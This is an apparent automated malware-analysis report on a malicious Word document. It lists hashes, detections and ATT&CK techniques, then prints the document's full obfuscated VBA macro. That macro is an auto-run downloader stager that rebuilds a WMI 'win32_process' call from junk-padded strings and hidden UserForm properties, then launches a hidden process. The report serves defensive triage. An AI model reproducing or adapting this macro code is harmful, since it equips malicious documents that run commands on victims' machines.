Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0035029f24eb07d3…

MALICIOUS

Office (OLE)

199.6 KB Created: 2020-08-19 11:17:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: dbbf047121a39a7c68ba2eeba1cf9761 SHA-1: 2fe37afc66d40f070e954ae59d633088e591ed34 SHA-256: 0035029f24eb07d3c1eed94e8f4a24fa26fecca542c5be93577e62c55fba8fb5
232 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager that uses CreateObject. This indicates a downloader or dropper functionality. The ClamAV detection 'Doc.Downloader.Generic-9395228-0' further supports this assessment. The VBA code is obfuscated, but the presence of auto-execution and object creation points to a malicious downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-9395228-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9395228-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Fvnunwy1vemqi8fq = Split _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Dj8j6vqyqt0bs4 = CreateObject(Add_aj_cn46)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15320 bytes
SHA-256: 3a5ca1cb029182a187d55bdd9e3a0275dac6e6c87fd330520b412e7854030542
Detection
ClamAV: No threats found
Obfuscation or payload: likely
301 of 452 identifiers look randomly generated (e.g. 'Momyayt4nq60t6mFfwrb1d6iovbywctnyOadm_z2') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Agfgzat7amxttb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
C7wkdr5lsrq4.Ou1lz1qo61ui8z40y9
End Sub


Attribute VB_Name = "C7wkdr5lsrq4"
Attribute VB_Base = "0{7E03D258-43AA-4CD8-97CC-2D0C403371CB}{4226C4BA-E15B-445C-BD37-DDE06622C570}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ou1lz1qo61ui8z40y9()
   Fr8v2zls8b2y = "995"
If Len("NywjikcwapucOp6uqmq4qp636j411i") = Len("X2irmo2chuhbns5f8x") + 1 Then End
If Len("Ppimdj2soaj7lPggl9sgzjiiiMkae8dnxtyoei") < Len("Xnb9y763my50eg8") Then
        MsgBox "Ad78jin8n39u" + "N3h18jmhlvm"
        MsgBox ("T0nl00g1nykjlm")
        MsgBox "Afv70lz57xih9u01" + "Nptj_wp52516r9o"
End If
If Len("Omc1zohbery12jfY2285paugchr_0") = Len("S6xni8_6ehrft9") Then
       MsgBox "Cszl71gr2fltuwh1" + "Ec_7d89s_8w"
       MsgBox ("Ikswr_14zczsn8h9 !!!")
       MsgBox "Lj9rq0q05_v24" + "Vu3o748cxr9ndorsg1"
End If

Irt4xutdkcwg = C7wkdr5lsrq4.HelpContextId + 50 + 50
   Wzgbiy4paglhik = "595"
If Len("Uycab2nh0_dxZs0pfs7_ify7zf2") = Len("Cqexke7r8xx") + 1 Then End
If Len("Mhcfbhqsi8b1ohvKemwxf6t0am5xstWntads6rzi5hopi") < Len("Omc3ka7lnth") Then
        MsgBox "Ww72nt6bzuq" + "H68omxeu3kjkq3i7ri"
        MsgBox ("Ol5xcnd67uho_8f")
        MsgBox "Kds_2oyjvmvlwl" + "Oq96wqi5aj4j_u7knk"
End If
If Len("U3_j7gxub233iPy9cbubgjr20ez1") = Len("Biamshuhcz07hdjr") Then
       MsgBox "So80hl2ixsst8c0" + "Iyu37cnd1_nvf0gij"
       MsgBox ("Kk5268kd71czgx !!!")
       MsgBox "A7q1zyya4ji9fcymkj" + "Qzbw4xs3gyba52"
End If

R1mnoqp3mqpcw58r1 = ChrW(Irt4xutdkcwg + (15))
   D5cqn6l9jih3u = "891"
If Len("Q3a39e80frpDscsykqk42tml8ur3") = Len("Y75ymti4ixohywat15") + 1 Then End
If Len("Tu9ljl7izrbupgjtuMfuk7c58vd9Ug2wbmauunqku") < Len("Ec0bpdqtiymry") Then
        MsgBox "Mn14lnz645e9saqe1j" + "O720uy56j9dkvyec"
        MsgBox ("Qx0gxmke9rvq")
        MsgBox "D0c2ea2pges" + "L81utko0jrclu9t"
End If
If Len("Vxhjpg5fi5udl3Nryhpuvohhs5x7") = Len("Fgsjvt9idjdul12k") Then
       MsgBox "Mau671d9jj_b8ngj" + "Qnwbg9viu0m_jy"
       MsgBox ("Y7mxl7lrommk0h !!!")
       MsgBox "X8l5cnyvlc_x" + "T29avsebau9wm"
End If

Ucxo09ox51xnyxh = "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfi111ss[sns ]]d][ jsa nbsb22v2yfnm111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfgm111ss[sns ]]d][ jsa nbsb22v2yft111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf" + R1mnoqp3mqpcw58r1 + "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf:111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfin111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf3111ss[sns ]]d][ jsa nbsb22v2yf2111ss[sns ]]d][ jsa nbsb22v2yf_111ss[sns ]]d][ jsa nbsb22v2yf" + C7wkdr5lsrq4.I0cow5hthsij4 + "111ss[sns ]]d][ jsa nbsb22v2yfro111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfce111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yf"
   Okt9g0iidmg7 = "530"
If Len("Uovf0ybcnh22bho7T8pl9v9shx1qh") = Len("Kd3dnp6xykdhd3ge26") + 1 Then End
If Len("Tvkql65xx3amxHmykebqteieiMflc87drlexqiu4h") < Len("Q0rb4qt6w48hqbmdf") Then
        MsgBox "Ml1eqtz_ha58r" + "Ikvg2z114hkchj7c"
        MsgBox ("Idil7ett9m5is")
        MsgBox "Smi7grgnqw2" + "N5nmqdf1s5jnqfb"
End If
If Len("Vm7slgv20n1wf_xwJw1fw81c3t8c7qa") = Len("Nud1ihnjxodotv") Then
       MsgBox "Ex4cumshqgptxz" + "B8zgxqt8lfjrth5m"
       MsgBox ("Fb1qdord_myu4z1 !!!")
       MsgBox "Ylg1m0bx2r8l7_a" + "V7lw0i0thdxe7mtr"
End If

Add_aj_cn46 = Eu3m8wwsydv9fe(Ucxo09ox51xnyxh)
   Cpl6t_e99clkzbp = "949"
If Len("PhatiltzgawroD74nmnyvvbd2euwj") = Len("Awwbw7dm48xztnxt") + 1 Then End
If Len("Ypslzcwaw_psZd9mv74ytazaMa8cyqi7wg2mlu_") < Len("Z7y6w8u2g43") Then
        MsgBox "Ppo4lfvvetm0jln8" + "Ajl5wtfaf0ur"
        MsgBox ("X6zskg40bg0o")
        MsgBox "Mu1vkuxvftq808j3fh" + "C0wrk3bhdi0"
End If
If Len("Ip1cvluza5vIivlkug709k06cp5") = Len("Jtmhqesj5yqv") Then
       MsgBox "Ako7fbh18ubcfpe" + "Fs72qykiu7ecbq71k"
       MsgBox ("Xau_9owtq_kelz !!!")
       MsgBox "Nwgv6do_flk9ey" + "Rm31tdhivsf9hl"
End If

Set Dj8j6vqyqt0bs4 = CreateObject(Add_aj_cn46)
   Zc_joired2g = "712"
If Len("Jh309a1ol4aigN4yabc9xi51j") = Len("Xf6dvhyzw5_") + 1 Then End
If Len("Qn6zhc3dg1yB1dp2_9iy_4ir1Asu80y8ozd0b39") < Len("Wgroa6dj9x72") Then
        MsgBox "Rvwisw2vx5z4gm" + "I40gkrdw2czv9j"
        MsgBox ("Hd8q1er1ufhwin3")
        MsgBox "Wtz9fzzq0v07g4b" + "Ibtw71wj6cobd76i0"
End If
If Len("Vcimqvorrfgwu2Kkh6f1f8pdd") = Len("Rnd118z_0uav9") Then
       MsgBox "Kirdisy9zwyo" + "Tyf5inl1dnqq172f6"
       MsgBox ("Q89k8pl6vw1zs !!!")
       MsgBox "Id9l423ixsl" + "Aytx945lbs7r31so3"
End If

Hv7y8cwcjv_0 = C7wkdr5lsrq4.Czgddowir7u60uwy.ControlTipText
   Buznjps6j7f = "264"
If Len("J8bc2dpifrgnox1962Hv7qnkklshyh5y") = Len("Wvrxv2yx7vnl_xzu") + 1 Then End
If Len("Mr5nsrz3r48asknz13Migyx0_6a_lzRy1m6lne37e02xnka") < Len("H6uc3m4hoswz4fd") Then
        MsgBox "I5va6opbzmb" + "Xmwv_nb5iv8nux97"
        MsgBox ("Cc06xku1_37ptnp")
        MsgBox "Clc7bzqek739h" + "Fruswjc6jcc6aw"
End If
If Len("K1hrdqm6_soxP2twsttp7a3giiba4") = Len("R607gurea7wu") Then
       MsgBox "Fxhkttrmrc2" + "Sql6il6hl1471v0"
       MsgBox ("Jsy4l_uta0sr !!!")
       MsgBox "Vh4imqegj4v2n" + "M5mv0vl00o9h1736"
End If

Km7zfsp2qqnjd = Fymb940bt26s + (Add_aj_cn46 + R1mnoqp3mqpcw58r1 + C7wkdr5lsrq4.Uhgp0b3g0o121tu.ControlTipText + Hv7y8cwcjv_0)
   Gs6xkwmiowuzgkzqcc = "375"
If Len("Zg1fya_cp7kpmixu6O1hn_qd4fcbh5n2h") = Len("Ssmgxlu9ndhh") + 1 Then End
If Len("O153snyxgkc668Fb9yfb9cts9Qqxm8wztmnc6ou") < Len("Oikm3ouzlgucpwy") Then
        MsgBox "Hu0aht9fifny6" + "Bkwqo5ifgad2mgmuj9"
        MsgBox ("B3lptoakedwb86md")
        MsgBox "M_i5deo09qh25" + "Xq_4h37ccntdbu_g"
End If
If Len("Zdddkz60y8rw94ulo1Xbemoo86k_c6_2u") = Len("R1ww2e5u6pqf") Then
       MsgBox "Z3x5oj673zzo6u_" + "Br7nv7v4d54ivr_"
       MsgBox ("Tklhpavr1m8b9i8u60 !!!")
       MsgBox "Yv4_eh62urwkkz2xv" + "Ufc7oxj_u679i"
End If

V9pihgavgw0cw = Km7zfsp2qqnjd + C7wkdr5lsrq4.I0cow5hthsij4
   H4_ah3ubnupo16nbz5 = "903"
If Len("Ailj9g3xt4pmvbm98vE82ananrzy6ls5o") = Len("R_uc6qfaj0i5mo9") + 1 Then End
If Len("Mdy_kh9iuzc_yrNgry0nt22323p4ufl2Vpgpkrbltgngm3") < Len("Sx710d0m9hu") Then
        MsgBox "Nqau3ikysn3gh9" + "Zvnwo_od8jv"
        MsgBox ("H7cii2at7sxv9ceum")
        MsgBox "Rtbb03uwfrfmekgq_3" + "Cuqhpgs04ym652"
End If
If Len("Pc3i9lzwvtoKnoscnfimilx7r5") = Len("Y5wlwdzez26dp96yb") Then
       MsgBox "Cwogjszsym2enrs9" + "U8c9kyk4mtb5poyv"
       MsgBox ("Jio4uewdpmnu !!!")
       MsgBox "Jvskc30249dn9_" + "Rj0dtfdkt7h4r56l"
End If

Set Z8z7y_3j7v9s = Lc8lsri4gqq1(V9pihgavgw0cw)
   Qi16fm2q9fuxydmxl2 = "637"
If Len("B1deu2l10klNjzv6j_caohk2e8mgd") = Len("I3nxhtege5x4gwfbn_") + 1 Then End
If Len("Momyayt4nq60t6mFfwrb1d6iovbywctnyOadm_z231j7d96x9") < Len("Tsr2krpxcrf3nlv7i3") Then
        MsgBox "C4x3l0nvnkyhbyf36h" + "Huz18hvan0ki1cy5d"
        MsgBox ("Sf497cnpkddh")
        MsgBox "Tzmsppd1u19axcc" + "Do5cxebcnywnr9s8fq"
End If
If Len("Onvipapgq68i_ksSkf7wxkf341j") = Len("Fb7hssuufpbi0vhq") Then
       MsgBox "Qc_24w_u08dqrw" + "Eti5bbr39xu7e"
       MsgBox ("Qcczmgyj7pp7yuwr !!!")
       MsgBox "R42cqnopofk" + "Di268l6b3ep"
End If

Eknm7iouecadigicc1 = Array(Yfu2nouplkb4vgi + "Zig35qxcvl0zx1_ra O3xta0l4dkdkX_lj6703sssfbq Uvku3nwqiqiiqbnm0l", Dj8j6vqyqt0bs4.Create(Kc6k5tayem2amwqs, Azlrfvbqcjeo0sqas_, Z8z7y_3j7v9s), Ncktc4xys2fgt6f + "Fref_28ugebk1a Wmq462fjys8 S8dwu4ditn5u3g2 Y3n0s1k5dblyc")
   Kj17w2fxzpbg = "273"
If Len("Skpnf1b04jwf5Nqdwc7o06q0") = Len("Fdntzupc9h73_xqhw_") + 1 Then End
If Len("S42wgv40l92Zpis9wjvc13cmuQppgn6nifrsg0") < Len("Pdfg38m2fsvmpa_byk") Then
        MsgBox "Ggt72owwhdbqqlz" + "Qx7vya7k9vapmi"
        MsgBox ("Uhu11bho4fk")
        MsgBox "Rdcfa2tnp310" + "Hj0fnhk0_ii7"
End If
If Len("Yqoidpn6hg7qay4Sasvrp4jip0agy75j") = Len("Ud_gzlwodcd1nt") Then
       MsgBox "Ckh2letyf_yqny" + "Hcgv6z7tmg_dm1f"
       MsgBox ("Bpscoyc0ljq5gb7 !!!")
       MsgBox "Su3bu3z4i37u" + "Ah9arva6wfx_h"
End If

End Function
Function Lc8lsri4gqq1(G4qcm1oddwyomajz_c)
   Zt3jx6qnko5bw3y = "980"
If Len("Rhhjbyyt7gfwI7ku3tu39324") = Len("Jag78sv0dmxi") + 1 Then End
If Len("I7jnrz6e9ttr6jeTqrr5lxnakxbkiRmihysulc9eosxo") < Len("Grun7f31aj8") Then
        MsgBox "Eb551_6fwcq8g" + "Ktz8e1wjou16"
        MsgBox ("Nvtgpwhfaekzt3jp")
        MsgBox "Ayg32iaeeg39" + "Ge6mmvc8ak__oppi"
End If
If Len("Ym5itcy72mtckpqJ7g5hpzmkanh") = Len("J5v7tjpdp1bgqwiu6") Then
       MsgBox "Wu3atjoosyr9t1re" + "N9g3gae9ffy35q"
       MsgBox ("Lksx_mkmse22xsgl1 !!!")
       MsgBox "F1wz0ztydod2x" + "Fytjh5ebiwyypjrq"
End If

Set Lc8lsri4gqq1 = CreateObject(G4qcm1oddwyomajz_c)
   B1cjqjh2au6fxs = "456"
If Len("Zkbcsh0zfoofyde8uyIu19whkb967y") = Len("Vo97lxbkda96") + 1 Then End
If Len("Cux7ylrrgoiL7ifb6j2imjfjXx7iu4dte2pbhvg") < Len("Qa1u734ecfye62kr") Then
        MsgBox "Bo6w96qj82s2_yzu" + "Sjqzze52gof_znq"
        MsgBox ("Kegmczfjl_alncs0uk")
        MsgBox "Ba9nka73rkk" + "Kb4vttisadgo"
End If
If Len("Csne7hpolp9r38lgS_a3xkur_ql4b05tyg") = Len("Nyvd65cx7e3w8ld") Then
       MsgBox "Fn9qi4x82ewjqd" + "C15yje7g9uxznh5or0"
       MsgBox ("Qf11j1aym1h4g3g !!!")
       MsgBox "Xdx5klg_8wek191f" + "Xs3n_u0jqur22"
End If

Lc8lsri4gqq1. _
showwindow = Lxchhydtsrx3 + Ms7bya4k8f0b_wj
   Uhb2furtirztow3q = "143"
If Len("Tlydwy2zlbmxkv7Om00ygxfyugsm081z6") = Len("Zttgukc5sf7074u5k5") + 1 Then End
If Len("Yvysqbsjmmfw0qXqbfpywmea3wkz3fXi8nkadfbb1snt9t") < Len("Xe4eo4miusyp") Then
        MsgBox "Ouhs12ukwq9a" + "Q862s5db4ynss"
        MsgBox ("Oe2tp16sfk64h0")
        MsgBox "Gy6eahqo4_6mf386ah" + "Zf79slte2u7zx"
End If
If Len("Ct_sosie29tJz1jq6w7_5o2m5s") = Len("R58lhici8mx") Then
       MsgBox "C6o9o995osebd3ej" + "Ggv_fq9aiofx"
       MsgBox ("Iei83fqrnp7zyg !!!")
       MsgBox "Wiqd4dygc10pq8gu" + "F8f_4ha_5z82zlsji"
End If

End Function
Function Eu3m8wwsydv9fe(Okk2dnd0d9uvm4zap0)
   Zs96_9t42mv = "583"
If Len("Uajodiuypai6ekbtP192zhe3ttts6j7ye") = Len("Swg1ty5x0jc1z") + 1 Then End
If Len("Z_gwyae5fwv1agv2nhZm9x6hj8bi6V6xt7djaeh7rvf5x") < Len("Bi87z1ucnlpodcvk") Then
        MsgBox "T7oxzxdh83qqb1oxi_" + "Y5eecqt46wa"
        MsgBox ("Hgyp9janv4z4")
        MsgBox "Dxlwa26cumdw2lhg6j" + "Xwfkokqohxqffmh"
End If
If Len("Vig56fd25v4h95g1tdI_m8lvnxqeh9junn0y") = Len("S2toq4siqoq1wb") Then
       MsgBox "W_rl7issywwxty" + "Libdof4v7e5m8j_"
       MsgBox ("P85zo8x4hii735 !!!")
       MsgBox "Yv70hztykcov" + "B7vjyia2z_gu"
End If

Cwy9d5bx7qzwwy = Okk2dnd0d9uvm4zap0
   Dsus9zjjtwgm = "297"
If Len("Ejq2hqo3huiebnb69dMfs9d_prmk1v") = Len("Fb1js2094r90lo7mio") + 1 Then End
If Len("N_62ylm33_crr0kZy3mgfk1zv03vtfd8fYmlb0g_g01_") < Len("Aar7zrbonzfbdm") Then
        MsgBox "Ei60vm8mvzw5gh_" + "Zzf02dxrx721j"
        MsgBox ("G0ww59e2pedz")
        MsgBox "Fcy6hnnfm0o5cvom1v" + "Cnqxhvobhika"
End If
If Len("Bhqo_aum7c8ah32m2St8wu2qqj4mf8c") = Len("N27f_mza6hltwa4xzr") Then
       MsgBox "Os0ryz0u22a2f6dzb" + "F2cbsboii5qrfxyds"
       MsgBox ("Okhqb49j6rgztl !!!")
       MsgBox "Us22t_9cprfdkwncb" + "Rf2y2zjdig9ct"
End If

Fvnunwy1vemqi8fq = Split _
(Cwy9d5bx7qzwwy, "111ss" + "[sns ]]d][ j" + "sa nbsb22v2yf")
   L_yko77tz6cp = "525"
If Len("B1cqikq0wwsYj8agcwq3o_8") = Len("Wj46uzqr326neqjrh6") + 1 Then End
If Len("Ebqx0ss4r_jy2Mobydb9b2htcBwm0vux18pw5nc7_") < Len("Ncdgxci5d4qfli") Then
        MsgBox "X6pheazedqw" + "K62_ccjzr0rqtefr2h"
        MsgBox ("Pgs9sxy6r59_2ad")
        MsgBox "Zm5ndcux9o_za6ho8" + "A488jmoh37u01pplg"
End If
If Len("X5stx6_dy06wNd7al7cds07lzd0") = Len("Ojzzcrdmrgb9fzqm") Then
       MsgBox "Ga75pepebp6x" + "Y3aqc1g9uc_u"
       MsgBox ("D5e94ttfqcd5gfj !!!")
       MsgBox "Abi1jik81w1ghz0" + "H7_v_exmdcsz9w8u8n"
End If

Chnl2cu84cvqssgdag = Nspgk9gsv0cjqj7 + Join(Fvnunwy1vemqi8fq, Si4miaxyj0usd)
   Vhdh0jesxddugcc = "465"
If Len("Cx4__o7c9bhac3acIkjt6ds497xahoz") = Len("Ykw0xwqlbk9bdq7daa") + 1 Then End
If Len("U5gjukhctjb1xtberC8259rvfrzs_uaO9f3bcyqu9ca") < Len("Htclpz8ed98zyo5") Then
        MsgBox "Ot1atdv7mqmqrg" + "Wrb79xgv6ddq_jdnz6"
        MsgBox ("Zom_ag9h_0nrx9abhx")
        MsgBox "X6o078qywwicxw" + "Ettsa1_qhwrxqt0"
End If
If Len("X1g9dwqrcvtmT816e2stzw48phm") = Len("Hafxommqyqwdbq") Then
       MsgBox "Ey7q124l3rzhdo" + "Rodd4vo1gou"
       MsgBox ("Ezfprjgwit2xx !!!")
       MsgBox "Rng1ficw3ha0y7" + "Yzbfrwxxci9944fyq"
End If

Eu3m8wwsydv9fe = Chnl2cu84cvqssgdag
   Ip6kp0ba03lp6bjl_6 = "285"
If Len("Xy86lbr47yjkmvwYfs_j25kjpk4") = Len("Cmayzclputj0ggn1") + 1 Then End
If Len("Z6j7kfs7mf5ww8Rf4liwxsl3pwibdvO4qqu44gs4n9r4") < Len("Qtkanbs6mm9d7uk5iu") Then
        MsgBox "B4qkenae15ku6" + "L_z2diqd0edwz8xi0e"
        MsgBox ("C2fgigyn83bb4d")
        MsgBox "Lvvdfm906mhs" + "Csr6gf2hl4qup7tl"
End If
If Len("Cksurcy60cg4l5bz_iHg6yn9e3eu2rox") = Len("G8_exq5_idup_0o7qx") Then
       MsgBox "A2ixfwmltliw" + "Dovfz6v0rgxu4te41"
       MsgBox ("H5jwgbj6tlfkz_s3 !!!")
       MsgBox "Pojgvbgvvvcmd" + "N5x93tthu86m"
End If

End Function
Function Kc6k5tayem2amwqs()
   Sn8gh1pwn3s = "936"
If Len("Oefqc2xttgguNe9535j41w_muf") = Len("Rlyunuti_4816cuu") + 1 Then End
If Len("J2yvs4v0im6sCsv06itwh7_8A6dp1gc4_5rdgtcwei") < Len("S51pf7imbvf7zzu3") Then
        MsgBox "V5wzqneyd6yzq_cy" + "Eelq0ts5ah594"
        MsgBox ("Q2m3lwajqv2bbu")
        MsgBox "Pvdiosprk7ke6pgk" + "Hqb9ei3bl8z119s9"
End If
If Len("Lw21p8ikb8arWkl_2vt1qnlg") = Len("P12v03hz_uu") Then
       MsgBox "Wu5xcm2ufcp" + "Sg9pr_jpumksur"
       MsgBox ("Gkr612_7bzcobuw9tl !!!")
       MsgBox "W463halerujld" + "Kskzhzy2k71pwi7"
End If

F2o4j4506lkhr = C7wkdr5lsrq4.Ipypcp31qost3.Tag
   Vwfpvusyrrrqmo_ = "408"
If Len("Hjd5o_v5_mx8Vzmvsq9adulrvwk") = Len("X9xi45dn_h5alpj9we") + 1 Then End
If Len("Uf760bfgz3n4nl7dZy1aw0vkw8zylnM_s4aczhyypvxpr1p") < Len("V00pxggkvmert") Then
        MsgBox "Ksmo4ddmkrcnhn" + "Wfhjnro8bnmw2smchf"
        MsgBox ("Efcd9misyrn")
        MsgBox "Z5mzh9hf9avka" + "Mm69o6igg44cj9"
End If
If Len("Y2pzdn4p4feaBgu4cs67y2dsb4xt8f") = Len("Ga_kgw8dy9b4k6ie") Then
       MsgBox "G__3cjk_mhb" + "E78_q20d8ohfoh9"
       MsgBox ("Y5x5zwk8f9h2zk5o !!!")
       MsgBox "Osce56ejae745n7my" + "Nui6uwa5sti"
End If

Kc6k5tayem2amwqs = Eu3m8wwsydv9fe(F2o4j4506lkhr)
   Kj9xg2pnex9sca = "848"
If Len("C3bf06i250sGirooiidbc8mqb459e") = Len("Dcd427b6tgte") + 1 Then End
If Len("R6gexitk68bb61z9K514o5fq2smR8t9izw6ygzv8k") < Len("B27gn8r3zp7k") Then
        MsgBox "Az82g7fatex" + "Ccoife8dzd1"
        MsgBox ("I_rhf5tnov6_k9paef")
        MsgBox "Qifj6dtuk0gl9_a" + "Eo06zvjxsip9h1"
End If
If Len("Zuucxg2xewkjoik8_kFwgk6b_t2xzwnuc") = Len("To8njq36ipm7") Then
       MsgBox "Flpyzsk5k1ayx_" + "La9zlbttc8k45mbq1d"
       MsgBox ("Nlj0yc4nry7 !!!")
       MsgBox "Pq3piryuoz4m3o1q" + "Gjlvtqzgcjwsyc"
End If

End Function

Open this report in the interactive analyzer, or submit your own file for analysis.